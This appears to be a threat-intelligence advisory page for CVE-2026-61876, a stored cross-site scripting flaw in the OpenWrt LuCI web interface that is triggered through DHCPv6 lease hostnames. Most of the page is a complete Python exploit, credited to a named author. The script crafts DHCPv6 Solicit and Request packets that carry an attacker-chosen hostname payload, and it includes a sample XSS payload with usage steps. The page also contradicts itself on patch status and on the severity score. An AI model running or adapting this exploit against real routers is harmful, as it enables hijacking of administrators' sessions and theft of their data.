CVE-2026-61876: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') in openwrt luci
CVE-2026-61876 is a critical cross-site scripting (XSS) vulnerability in the OpenWrt LuCI interface. It occurs because DHCPv6 lease hostnames are not properly encoded before being displayed in status tables. An adjacent network attacker can exploit this by sending a DHCPv6 Client FQDN containing malicious script tags, which execute in the administrator's browser when viewing the DHCP lease pages.
AI Analysis
Technical Summary
The vulnerability in OpenWrt's LuCI web interface arises from improper neutralization of input during web page generation. Specifically, DHCPv6 lease hostnames are rendered without proper encoding, allowing injection of HTML markup. This enables an attacker on the adjacent network to craft a DHCPv6 Client FQDN with embedded script tags that execute in the context of the administrator's browser when they access the DHCP lease status page, leading to cross-site scripting.
Potential Impact
Successful exploitation allows an adjacent network attacker to execute arbitrary scripts in the administrator's browser session. This can lead to theft of sensitive information, session hijacking, or other malicious actions within the context of the LuCI web interface. The CVSS 4.0 score of 9.4 reflects high impact on confidentiality, integrity, and availability with low attack complexity and no privileges required.
Mitigation Recommendations
Patch status is not yet confirmed — check the vendor advisory for current remediation guidance. Until a fix is available, administrators should limit access to the LuCI interface to trusted networks and avoid viewing DHCP lease pages when untrusted devices are connected to the adjacent network.
Indicators of Compromise
- exploit-code: # Exploit Title: LuCI DHCPv6 - Lease Hostname Stored Cross-Site Scripting # CVE: CVE-2026-61876 # Date: 2026-07-13 # Exploit Author: Mohammed Idrees Banyamer # Author Country: Jordan # Instagram: @banyamer_security # Author GitHub: https://github.com/mbanyamer # Author Blog : https://banyamersecurity.com/blog/ # Vendor Homepage: https://openwrt.org/ # Software Link: https://github.com/openwrt/luci # Affected: OpenWrt LuCI (luci-mod-status, luci-mod-network) before patch # Tested on: OpenWrt 25.12.0-rc1 x86_64 # Category: Remote # Platform: Linux # Exploit Type: Stored XSS # CVSS: 8.8 # Description: An unauthenticated adjacent-network attacker can inject malicious HTML/JavaScript via DHCPv6 Client FQDN (option 39). The hostname is stored by odhcpd and rendered unsafely via innerHTML in LuCI status tables. # Fixed in: LuCI commit 55379d0 (and backports) # Usage: # python3 exploit.py --ifindex <LAN_INTERFACE_INDEX> --hostname '<payload>' # # Examples: # python3 exploit.py --ifindex 2 --hostname '<details/open/ontoggle=alert("XDHCP6D")>' # # Options: # --ifindex Interface index of the LAN interface # --hostname Malicious hostname/FQDN payload # --server DHCPv6 server (default: ff02::1:2) # --release Release the lease after injection # # Notes: # • Requires adjacent network access (LAN) # • Administrator must view Status > Overview or Network > DHCP and DNS # • Payload example triggers alert(); other XSS payloads work too. # # How to Use # # Step 1: # Identify your LAN interface index: ip -o link show | awk '{print $1, $2}' # # Step 2: # Run the exploit and then open LuCI as admin to trigger the payload. def banner(): print(r""" ╔██████╗ █████╗ ███╗ ██╗██╗ ██╗ █████╗ ███╗ ███╗███████╗██████╗╗ ║██╔══██╗██╔══██╗████╗ ██║╚██╗ ██╔╝██╔══██╗████╗ ████║██╔════╝██╔══██║ ║██████╔╝███████║██╔██╗ ██║ ╚████╔╝ ███████║██╔████╔██║█████╗ ███████╔╝ ║██╔══██╗██╔══██║██║╚██╗██║ ╚██╔╝ ██╔══██║██║╚██╔╝██║██╔══╝ ██╔══██╗ ║██████╔╝██║ ██║██║ ╚████║ ██║ ██║ ██║██║ ╚═╝ ██║███████╗██║ ██║ ╚═════╝ ╚═╝ ╚═╝╚═╝ ╚═══╝ ╚═╝ ╚═╝ ╚═╝╚═╝ ╚═╝╚══════╝╚═╝ ╚═╝ ╔═╗ Banyamer Security ╔═╝ """) import argparse import os import random import socket import struct import time OPT_CLIENTID = 1 OPT_SERVERID = 2 OPT_IA_NA = 3 OPT_ORO = 6 OPT_ELAPSED = 8 OPT_STATUS = 13 OPT_IAADDR = 5 OPT_FQDN = 39 def opt(code, data): return struct.pack("!HH", code, len(data)) + data def options(buf): i = 0 while i + 4 <= len(buf): code, length = struct.unpack("!HH", buf[i:i + 4]) i += 4 yield code, buf[i:i + length] i += length def first_opt(buf, wanted): for code, data in options(buf): if code == wanted: return data return None def encode_domain(name): labels = name.rstrip(".").split(".") if name else [] out = bytearray() for label in labels: raw = label.encode("utf-8") if len(raw) > 63: raise ValueError("domain label too long for DHCPv6 FQDN option") out.append(len(raw)) out += raw out.append(0) return bytes(out) def make_duid(mac): dhcpv6_epoch = 946684800 now = int(time.time() - dhcpv6_epoch) return struct.pack("!HHI", 1, 1, now) + mac def make_msg(msg_type, txid, opts): return bytes([msg_type]) + txid + b"".join(opts) def parse_msg(data): if len(data) < 4: return None return data[0], data[1:4], data[4:] def open_sock(ifindex, port, bind_addr): s = socket.socket(socket.AF_INET6, socket.SOCK_DGRAM) s.settimeout(4) try: s.setsockopt(socket.IPPROTO_IPV6, socket.IPV6_MULTICAST_IF, ifindex) except OSError: pass try: s.bind((bind_addr, port, 0, ifindex if bind_addr.startswith("fe80:") else 0)) return s, port except OSError: if port != 0: s.bind((bind_addr, 0, 0, ifindex if bind_addr.startswith("fe80:") else 0)) return s, s.getsockname()[1] raise def send_recv(sock, dst, msg, txid, expect_types): sock.sendto(msg, dst) deadline = time.time() + 5 while time.time() < deadline: try: data, addr = sock.recvfrom(4096) except socket.timeout: break parsed = parse_msg(data) if not parsed: continue msg_type, rxid, opts = parsed if rxid == txid and msg_type in expect_types: return msg_type, opts, addr, data return None def status_text(ia_na): if not ia_na: return "" for code, data in options(ia_na[12:]): if code == OPT_STATUS and len(data) >= 2: status = struct.unpack("!H", data[:2])[0] text = data[2:].decode("utf-8", "replace") return f"status={status} {text}".strip() return "" def main(): banner() ap = argparse.ArgumentParser(description="LuCI DHCPv6 FQDN XSS Exploit (CVE-2026-61876)") ap.add_argument("--ifindex", type=int, required=True) ap.add_argument("--hostname", required=True) ap.add_argument("--server", default="ff02::1:2") ap.add_argument("--bind-addr", default="::") ap.add_argument("--port", type=int, default=546) ap.add_argument("--release", action="store_true") ap.add_argument("--duid-hex") ap.add_argument("--iaid-hex") args = ap.parse_args() if args.duid_hex: duid = bytes.fromhex(args.duid_hex) mac = duid[-6:] if len(duid) >= 14 else b"\x00" * 6 else: mac = bytes([0x02, 0x00, 0x5e, random.randrange(256), random.randrange(256), random.randrange(256)]) duid = make_duid(mac) iaid = bytes.fromhex(args.iaid_hex) if args.iaid_hex else os.urandom(4) fqdn = bytes([0]) + encode_domain(args.hostname) oro = struct.pack("!HHH", 23, 24, OPT_FQDN) sock, sport = open_sock(args.ifindex, args.port, args.bind_addr) dst = (args.server, 547, 0, args.ifindex if args.server.startswith("ff") or args.server.startswith("fe80:") else 0) txid = os.urandom(3) solicit = make_msg(1, txid, [ opt(OPT_CLIENTID, duid), opt(OPT_IA_NA, iaid + b"\x00\x00\x00\x00" + b"\x00\x00\x00\x00"), opt(OPT_ORO, oro), opt(OPT_ELAPSED, b"\x00\x00"), opt(OPT_FQDN, fqdn), ]) adv = send_recv(sock, dst, solicit, txid, {2}) if not adv: print(f"NO_ADVERTISE source_port={sport}") return 2 _, adv_opts, addr, _ = adv serverid = first_opt(adv_opts, OPT_SERVERID) ia_na = first_opt(adv_opts, OPT_IA_NA) print(f"ADVERTISE from={addr[0]} source_port={sport}") if not serverid or not ia_na: return 3 txid = os.urandom(3) request = make_msg(3, txid, [ opt(OPT_CLIENTID, duid), opt(OPT_SERVERID, serverid), opt(OPT_IA_NA, ia_na), opt(OPT_ORO, oro), opt(OPT_ELAPSED, b"\x00\x00"), opt(OPT_FQDN, fqdn), ]) rep = send_recv(sock, dst, request, txid, {7}) if not rep: print("NO_REPLY") return 4 _, reply_opts, addr, _ = rep print(f"REPLY from={addr[0]}") if args.release: txid = os.urandom(3) release = make_msg(8, txid, [ opt(OPT_CLIENTID, duid), opt(OPT_SERVERID, serverid), opt(OPT_IA_NA, ia_na), ]) rel = send_recv(sock, dst, release, txid, {7}) print("RELEASE_REPLY" if rel else "NO_RELEASE_REPLY") print(f"DUID={duid.hex()} IAID={iaid.hex()}") return 0 if __name__ == "__main__": raise SystemExit(main())
CVE-2026-61876: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') in openwrt luci
Description
CVE-2026-61876 is a critical cross-site scripting (XSS) vulnerability in the OpenWrt LuCI interface. It occurs because DHCPv6 lease hostnames are not properly encoded before being displayed in status tables. An adjacent network attacker can exploit this by sending a DHCPv6 Client FQDN containing malicious script tags, which execute in the administrator's browser when viewing the DHCP lease pages.
CVSS v4.0
Score 9.4critical
AI-Powered Analysis
Machine-generated threat intelligence
Technical Analysis
The vulnerability in OpenWrt's LuCI web interface arises from improper neutralization of input during web page generation. Specifically, DHCPv6 lease hostnames are rendered without proper encoding, allowing injection of HTML markup. This enables an attacker on the adjacent network to craft a DHCPv6 Client FQDN with embedded script tags that execute in the context of the administrator's browser when they access the DHCP lease status page, leading to cross-site scripting.
Potential Impact
Successful exploitation allows an adjacent network attacker to execute arbitrary scripts in the administrator's browser session. This can lead to theft of sensitive information, session hijacking, or other malicious actions within the context of the LuCI web interface. The CVSS 4.0 score of 9.4 reflects high impact on confidentiality, integrity, and availability with low attack complexity and no privileges required.
Mitigation Recommendations
Patch status is not yet confirmed — check the vendor advisory for current remediation guidance. Until a fix is available, administrators should limit access to the LuCI interface to trusted networks and avoid viewing DHCP lease pages when untrusted devices are connected to the adjacent network.
Technical Details
- Data Version
- 5.2
- Assigner Short Name
- VulnCheck
- Date Reserved
- 2026-07-10T21:54:26.760Z
- Cvss Version
- 4.0
- State
- PUBLISHED
- Remediation Level
- null
Indicators of Compromise
Exploit Source Code
Exploit code for LuCI DHCPv6 - Lease Hostname Stored Cross-Site Scripting
# Exploit Title: LuCI DHCPv6 - Lease Hostname Stored Cross-Site Scripting # CVE: CVE-2026-61876 # Date: 2026-07-13 # Exploit Author: Mohammed Idrees Banyamer # Author Country: Jordan # Instagram: @banyamer_security # Author GitHub: https://github.com/mbanyamer # Author Blog : https://banyamersecurity.com/blog/ # Vendor Homepage: https://openwrt.org/ # Software Link: https://github.com/openwrt/luci # Affecte... (7213 more characters)
Threat ID: 6a53860e68715ace4310e398
Added to database: 07/12/2026, 12:18:22 UTC
Last enriched: 08/11/2026, 21:08:46 UTC
Last updated: 08/16/2026, 18:55:50 UTC
Views: 258
Community Reviews
0 reviewsCrowdsource mitigation strategies, share intel context, and vote on the most helpful responses. Sign in to add your voice and help keep defenders ahead.
Want to contribute mitigation steps or threat intel context? Sign in or create an account to join the community discussion.
Actions
Updates to AI analysis require Pro Console access. Upgrade inside Console → Billing.
Need more coverage?
Upgrade to Pro Console for AI refresh and higher limits.
For incident response and remediation, OffSeq services can help resolve threats faster.
Latest Threats
Check if your credentials are on the dark web
Instant breach scanning across billions of leaked records. Free tier available.